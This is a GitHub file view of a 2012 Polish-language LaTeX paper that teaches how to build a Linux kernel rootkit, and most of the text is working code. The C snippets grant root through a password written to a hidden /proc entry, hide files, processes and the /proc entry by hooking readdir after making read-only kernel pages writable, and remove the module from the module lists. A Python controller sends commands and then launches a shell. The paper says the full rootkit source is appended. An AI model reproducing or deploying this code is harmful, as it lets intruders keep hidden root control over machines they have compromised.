-
Notifications
You must be signed in to change notification settings - Fork 161
Expand file tree
/
Copy pathpolis_paper.tex
More file actions
399 lines (335 loc) · 16.3 KB
/
polis_paper.tex
File metadata and controls
399 lines (335 loc) · 16.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
\documentclass[a4paper]{article}
\usepackage[utf8x]{inputenc}
\usepackage[T1]{fontenc}
\usepackage[polish]{babel}
\usepackage{minted}
\begin{document}
\title{Prosta, wysokopoziomowa implementacja rootkita dla Linuksa.}
\author{Arkadiusz ,,Ivyl'' Hiler \and Michał ,,t3hknr'' Winiarski}
\date{Styczeń 2012}
\maketitle
\newpage
\begin{abstract}
Opis metod i technik użytych przy implementacji modułu jądra umożliwającego intruzowi utrzymanie kontroli nad systemem
oraz ukrycie swoich działań.
Moduł umożliwia uzyskanie praw roota oraz ukrycie plików, procesów oraz samego siebie.
Wydawanie rozkazów jak i sprawdzanie stanu rootkita odbywa sie za pomocą ukrytego wpisu w \texttt{/proc}.
Pełen kod rootkita został zamieszony na końcu ninejszego dokumenu oraz na
\texttt{https://github.com/ivyl/rootkit}
\end{abstract}
\newpage
\tableofcontents
\newpage
\section{Wstęp}
\subsection{Metody zdobywania wiedzy}
Podstawowy opis struktur \texttt{file} i \texttt{file\_operations}, techniki
debugowania, czy budowy i uruchamiania modułów można znaleźć w ,,Linux Device
Drivers''\cite{ldd3}. Następny w kolejności źródłem infromacji jest sam kod
źródłowy kernela. Poszukiwanie funkcji najlepiej zacząć od przeszukania plików
nagłówkowych zawierających ich deklaracje (katalog \texttt{include/}). Łatwo
można skonstruować wyrażenia regularne szukające prototypu zwracającego
interesujący nas typ i zawierającego interesujące nas słowo. Szukania
przykładowego użycia można dokonać w pozostałych katalogach, zawierających
sterowniki i samą implementację. Do przeglądania zagadnień najlepiej nadaje
się dokumentacja jądra (\texttt{Documentation/}). W dokumencie ograniczymy się
do pobieżnej analizy potrzebnych nam funkcji i struktur, pomijając nieistotne
pola. Zachęcamy do pełnej samodzielnej analizy plików nagłówkowych.
\subsection{Środowisko}
Moduł zbudowany w oparciu o przedstawione techniki z powodzeniem był
kompilowany oraz działa na jądrze 3.1.0 oraz 3.1.5. Użyto gcc w wersji 4.6.x.
Nie powinno być jednak problemu z innymi wersjami gcc jak i jądrami w wersji
większej lub równej od 2.6.26 (wcześniej nie była eksportowana funkcja
\texttt{lookup\_address}). Testy przeprowadzono zarówno na jądrze
skompilowanym pod architekturzę x86 jak i x86\_64.
\section{Makefile}
Użyliśmy standardowgo pliku \texttt{Makefile} opisanego w LDD\cite{ldd3}:
\begin{minted}[frame=lines,framesep=2mm]{makefile}
ifneq ($(KERNELRELEASE),)
obj-m := rt.o
else
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
endif
\end{minted}
Wykonanie polecenia make powoduje samodzielnie ustawienie środowiska do
budowania na podstawie symlinku build w katalogu zawierającym moduły aktualnie
używanego jądra.
\section{Właściwa implementacja}
\subsection{Struktura modułu}
Stworzenie nowego modułu wymaga oznaczenia dwóch funkcji za pomocą makr
\texttt{module\_init} i \texttt{module\_exit} (plik nagłówkowy \texttt{linux/init.h}).
Prototypy jak w przykładzie:
\begin{minted}[frame=lines,framesep=2mm]{c}
#include <linux/init.h>
#include <linux/module.h>
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Arkadiusz Hiler<ivyl@sigillum.cc>");
MODULE_AUTHOR("Michal Winiarski<t3hkn0r@gmail.com>");
static int __init rootkit_init(void) {
return 0;
}
static void __exit rootkit_exit(void) {
}
module_init(rootkit_init);
module_exit(rootkit_exit);
\end{minted}
\texttt{\_\_init} oraz \texttt{\_\_exit} to makra oznaczające funkcje
używane jedynie przy ładowaniu/zwalnianiu modułu, dzięki czemu może zwolnić
zajmowane przez nie zasoby.
Znaczenie makr \texttt{MODULE\_AUTHOR} oraz \texttt{MODULE\_LICENSE}
(\texttt{linux/module.h}) jest oczywiste.
Na szczególną uwagę zasługuje użycie modyfikatora \texttt{static}. Gwarantuje
on nam, że funkcja nie jest widoczna na zewnątrz naszego kodu (żadne symbole
nie są eksportowane). Postaramy się używać go przy każdej definicji w celu
lepszego ukrycia modułu jądra.
\subsection{Wpis w /proc}
Interesujące nas funkcje znajdują się w pliku nagłówkowym
\texttt{linux/proc\_fs.h}.
\begin{minted}{c}
struct proc_dir_entry *create_proc_entry(const char *name,
mode_t mode, struct proc_dir_entry *parent);
\end{minted}
Pierwszy parametr to zwyczajnie nazwa, drugi to tryb dostępu, najłatwiej podać
ósemkowo. Ostatnim parametrem jest rodzic w procfs, gdy podamy \texttt{NULL},
wpis tworzony jest w procfs root.
Należy pamiętać o sprawdzaniu czy zwracana jest poprawna struktura (nie
\texttt{NULL}). Przy wyładowywaniu modułu należy pamiętać o usunięciu wpisu:
\begin{minted}{c}
remove_proc_entry(const char *name, struct proc_dir_entry *parent);
\end{minted}
Struktura \texttt{proc\_dir\_entry} zwracana przez powyższą funkcję zawiera
m.in. wskaźniki na funkcje używane przy odczycie/zapisie do pliku.
Interesujące nas pola to \texttt{read\_proc} oraz
\texttt{write\_proc}\cite{lkmpg}. Prototypy funkcji na które wskazują:
\begin{minted}{c}
int read(char *buffer, char **buffer_location, off_t off,
int count, int *eof, void *data);
int write(struct file *file, const char __user *buff,
unsigned long count, void *data);
\end{minted}
\subsubsection{Read}
Pierwsza funkcja zwrotna jest wywoływana gdy odczytujemy z pliku. Pierwszym
paramterem jest bufor, do którego mamy zapisywać, drugi to jego położenie w
pamięci, można użyć np. do zaalokowania własnego bufora, trzeci to offset, od
którego chcemy zacząć czytać, czwarty to rozmiar buffora, który dostaliśmy,
piąty wskazuje eof (po wpisaniu 1 pod adres), szóty to wkaźnik na dodatkowe
dane. Funkcja zwraca liczbę wypisanych znaków.
Przykładowa bezpieczna implementacja przy założeniu, że mamy zaalokowany
odpowiednio duży \texttt{char[] module\_status}:
\begin{minted}[frame=lines,framesep=2mm]{c}
int rtkit_read(char *buffer, char **buffer_location,
off_t off, int count, int *eof, void *data) {
int size;
//build module_status
size = strlen(module_status);
if (off >= size) return 0;
if (count >= size-off) {
memcpy(buffer, module_status+off, size-off);
} else {
memcpy(buffer, module_status+off, count);
}
return size-off;
}
\end{minted}
Podana wyżej implementacja gwarantuje nam nieprzekroczenie obszaru bufora,
zakończneie odczytu (zwrócenie zero przy próbie odczytu poza obszarem, nie używamy eof)
oraz poprawną obsługę programów do czytania stronami (less, more) dzięki obsłudze offsetu.
\subsubsection{Write}
Parametrami, które nas interesują jest \texttt{buff}, czyli bufor wejściowy
oraz \texttt{count} czyli rozmiar danych przekazanych w buforze. Pozostałe
parametry to struktura file opisująca plik do którego piszemy oraz wskaźnik na
dodatkowe dane. Funkcja zwraca liczbę przetworzonych znaków.
Wystarczy porównywać zawartość bufora z komendą i wyciągnąć ewentualne
dodatkowe informacje. Należy pamiętać o rozmiarze bufora i liczbie znaków.
\begin{minted}[frame=lines,framesep=2mm]{c}
int rtkit_write(struct file *file, const char __user *buff,
unsigned long count, void *data) {
if (!strncmp(buff, "secreet pass", MIN(11, count))) { }
return count;
}
\end{minted}
Powyżej użyte zostało makro:
\begin{minted}[frame=lines,framesep=2mm]{c}
#define MIN(a,b) \
({ typeof (a) _a = (a); \
typeof (b) _b = (b); \
_a < _b ? _a : _b; })
\end{minted}
\subsubsection{Podniesienie uprawnień}
W pliku nagłówkowym \texttt{linux/cred.h} znajduje się funkcje które pozwalają
na pobranie uprawnień aktualnie wykonywanego procesu oraz ich ponowne
zapisanie. \texttt{prepare\_creds()} zwraca nam strukturę cred z informacjami
o bieżacym procesie i jego uprawnienaich, zaś \texttt{commit\_creds(struct
cred*)} ustawia procesowi nowe wartości na podstawie podanej struktury.
Interesują nas pola uid, gid, euid oraz egid (user id, group id oraz ich
efektywne wersje). W pobranej strukturze należy zmienić wartość tych pól na 0
(root) po czym zatwierdzić nowe ustawienia.
\begin{minted}[frame=lines,framesep=2mm]{c}
struct cred *credentials = prepare_creds();
credentials->uid = credentials->euid = 0;
credentials->gid = credentials->egid = 0;
commit_creds(credentials);
\end{minted}
Wewnątrz funkcji write aktualnie wykonywnem procesem będzie proces, który
pisał do pliku w \texttt{/proc}, więc można tam dokonać zmiany.
\subsubsection{Uwagi}
Łatwo złożyć powyższe informacje w całość, która po wydaniu odpowiedniego
rozkazu do wpisu w \texttt{/proc} daje nam uprawnienia roota. Obie funkcje
(read i wrtie) są w zasadzie gotowe do przypisania do odpowienich pól
struktury.
Do budowy odpowiedzi jak i sprawdzania wejścia możemy użyć funkcji z
\texttt{linux/string.h}. Znajdziemy tam klasyczne funkcje
porównania(\texttt{strcmp}, \texttt{strncmp}) budowy łańcuchów
(\texttt{sprintf}) czy kopiowania.
\subsection{Wydawanie rozkazów poprzez wpis}
\begin{minted}[frame=lines,framesep=2mm]{python}
#!/usr/bin/env python
import sys
import os
def order(command):
f = open("/proc/rtkit", "w")
f.write(command)
f.close()
if len(sys.argv) > 1:
order(sys.argv[1])
if len(sys.argv) > 2:
os.execl(sys.argv[2], "")
\end{minted}
Powyższy program zapisuje pierwszy przekazany argument do wpisu w
\texttt{/proc}. Jeżeli podany jest drugi argument, to uruchamiany jest
wskazywany przezeń program (np. po dostaniu roota odpalamy powłokę bash).
\subsection{Ukrycie wpisów w \texttt{/proc}}
\subsubsection{Użyteczność}
Ukrywanie plików w \texttt{/proc} może posłużyć do ukrycia wpisu stworzonego
przez nas jak i ukrycia procesów w systemie. Programy pokroju \texttt{ps} i
\texttt{top} listują katalogi w \texttt{/proc} reprezentujące procesy. Ukrycie
tych katalogów skutkuje ukryciem procesów.
\subsubsection{Wyciągnięcie \texttt{file\_operations}}
Zmian tych można dokonać poprzez zastąpienie używanej funkcji
\texttt{readdir}, która zamienia funkcję \texttt{filldir} przekazywaną do
oryginału. Wskaźnik do funkcji \texttt{readdir} znajduje się w strukturze
\texttt{file\_operations}. Interesuje nas struktura dla \texttt{/proc}.
Wskaźnik na \texttt{file\_operations} można znaleść w strukturze
\texttt{proc\_dir\_entry}. Nasz nowo utworzony plik w \texttt{/proc} zawiera
wskaźnik na rodzica - w tym wypadku sam \texttt{/proc}. Pole
\texttt{proc\_fops} zawiera interesującą nas strukturę.
\mint{c}|proc_rtkit->parent->proc_fops|
\subsubsection{Własne \texttt{readdir} i \texttt{filldir}}
Własna wersja \texttt{readdir} ma za zadanie jedynie opakować oryginalne
\texttt{filldir} w naszą własną wersję. Uzywamy do tego globalnej statycznej
zmiennej. \texttt{filldir} natomiast ma zwracać 0 jeśli chemy ukryć wpis lub
też wywoływać oryginał. Pozwolimy pominąć sobie opis prototypów funkcji i
przejść do implementacji:
\begin{minted}[frame=lines,framesep=2mm]{c}
int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) {
proc_filldir_orig = filldir; //some static variable
return proc_readdir_orig(filp, dirent, proc_filldir_new);
}
int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset,
u64 ino, unsigned d_type) {
if (!strcmp(name, "rtkit")) return 0;
return proc_filldir_orig(buf, name, namelen, offset, ino, d_type);
}
\end{minted}
Użycie globalnej zmiennej nie powoduje kłopotów w razie przypadkowego
wywłaszczenia. \texttt{filldir} jest zawsze takie samo, nie ma niestety innego
sposobu na jego wyciągniecie niż zrobieni tego w ciele \texttt{readdir}.
\subsubsection{Zmiana trybu dostepu do strony w pamięci}
Niestety bezpośrednia podmiana wskaźnika w strukturze nie jest możliwa z dwóch
powodów. Po pierwsze, wskaźnik jest typu \texttt{const} i potrzebne jest
odpowiednie rzutowanie, po drugie ze wzgledu na oznaczenie strony pamięci, na
której znajduje się struktura \texttt{file\_operations} jako tylko do odczytu.
Kończy się to błędem typu Kernel Oops z komunikatem ,,unable to handle kernel
paging'' istnieje kilka metod zmiany trybu strony, jednak większość ma pewne
dodatkowe ograniczenia (np. nie zmienianie trybu strony znajdującej się w
obszarze .rodata). W kernelu w wersji 2.6.26 lub wyższej eksportowana jest
metoda o prototypie\cite{stovf1}:
\mint{c}|pte_t *lookup_address(unsigned long addr, unsigned int *level);|
Wyciąga ona struturę \texttt{pte\_t} zawierającą pole \texttt{pte} pozwalające
na zmianę trybu dostępu (maska bitowa). Interesuje nas ustawienie
\texttt{\_PAGE\_RW} po czym posprzątanie po sobie.
Wymaga to od nas rzutowania wskaźnika na struturę na typ \texttt{unsigned
long}. Ze względu na potrzebę użycia tego w kilku miejscach stwórzmy sobie
metody pomocnicze:
\begin{minted}[frame=lines,framesep=2mm]{c}
void set_addr_rw(void *addr) {
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
}
void set_addr_ro(void *addr) {
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
pte->pte = pte->pte &~_PAGE_RW;
}
\end{minted}
Przez wkaźnik przekazywany jako drugi parametr zwracany jest poziom strony,
który ignorujemy. Po wykonaniu \texttt{set\_addr\_rw(proc\_fops)} można
dokonać podmiany, po czym należy wrócić do trybu tylko do odczytu:
\begin{minted}[frame=lines,framesep=2mm]{c}
set_addr_rw(proc_fops);
proc_fops->readdir = proc_readdir_new;
set_addr_ro(proc_fops);
\end{minted}
Pamiętajmy też o zapamiętaniu oryginału, by móc przywrócić stan pierwotny przy
wyładowywaniu modułu.
\subsection{Ukrycie wpisów w systemie plików}
\subsubsection{Wyciągnięcie \texttt{file\_operations}}
Wszystko odbywa się analogicznie do ukrywania wpisów w \texttt{/proc}. Jedynej
trudności nastręcza wyciągniecie struktury \texttt{file\_operations}. Systemy
plików rejestrowane są w podsystemie VFS. Stamtąd można wyciągnąć jedynie
wkaźnik na funkcję używaną do montowania dla systemu plików o konkretnej
nazwie. Najlepszą i najbezpieczniejszą metodą (gwarantującą podmianą readdir
dla używanego systemu plików) jest użycie funkcji:
\mint{c}|struct file *filp_open (const char *filename, int flags, int mode);|
Jako flags podajemy \texttt{O\_RDONLY}, mode jest istotny tylko przy użyciu
flagi \texttt{O\_CREAT}, więc podajemy cokolwiek. Najlepiej otworzyć folder,
którego istnienia zawsze jesteśmy pewni, np. \texttt{/etc}. Struktura file
zawiera pole f\_op będące wskaźnikiem na \texttt{file\_operations} (pamiętać o
rzutowniu, jest typu \texttt{const}, oraz o zmianie trybu strony). Po czym
plik należy zamknąć
\mint{c}|int filp_close(struct file *filp, fl_owner_t id);|
ID dotyczy wątku zarządzającego, podajemy \texttt{NULL} Funkcje te opisane są
w pliku nagłówkowym \texttt{linux/fs.h}.
\subsection{Ukrycie modułu}
Podstawowym zabiegiem jest wcześniej wspomniane używanie modyfikatora
\texttt{static}. Dzięki temu unikniemy pojawienia się wpisów w
\texttt{/proc/kallsyms}. Dodatkowo należy usunać moduł z listy modułów (nie
będzie widoczny przez lsmod) i zadbać o wyrejestrowanie obiektów
\texttt{kobject}, które mają swoją reprezentację w \texttt{/sys}. Posłużymy
się metodami \texttt{list\_del(struct list\_head*)} oraz
\texttt{kobject\_del(struct kobject*)}.
\begin{minted}[frame=lines,framesep=2mm]{c}
list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
\end{minted}
\texttt{THIS\_MODULE} to makro dające dostęp do struktury opisjącej bieżący
moduł.
Można zapamiętać poprzedniki (pole \texttt{prev}) w celu powrotnego dodania na
rozkaz (umożliwienie wyładowania modułu).
\section{Podsumowanie}
Z odrobiną własnej inwencji można złożyć powyższe w całość, zaimplementować
rozkaz ukrywania PIDów, itd. Poniżej zamieściliśmy listnig kodu w pełni
funkcjonującego rootkita.
\section{Pełen kod}
\inputminted[linenos,fontsize=\footnotesize]{c}{../rt.c}
\begin{thebibliography}{9}
\bibitem{ldd3}
Jonathan Corbet, Alessandro Rubini, and Greg Kroah-Hartman
\emph{Linux Device Drivers}.
O'Reilly,
3rd Edition,
2005.
\bibitem{stovf1}
Corey Henderson
\emph{Linux Kernel: System call hooking example}, Stackoverflow discussion.
http://stackoverflow.com/questions/2103315/linux-kernel-system-call-hooking-example
\bibitem{lkmpg}
Peter Jay Salzman, Michael Burian, and Ori Pomerantz
\emph{The Linux Kernel Module Programming Guide}.
http://linux.die.net/lkmpg/
\end{thebibliography}
\end{document}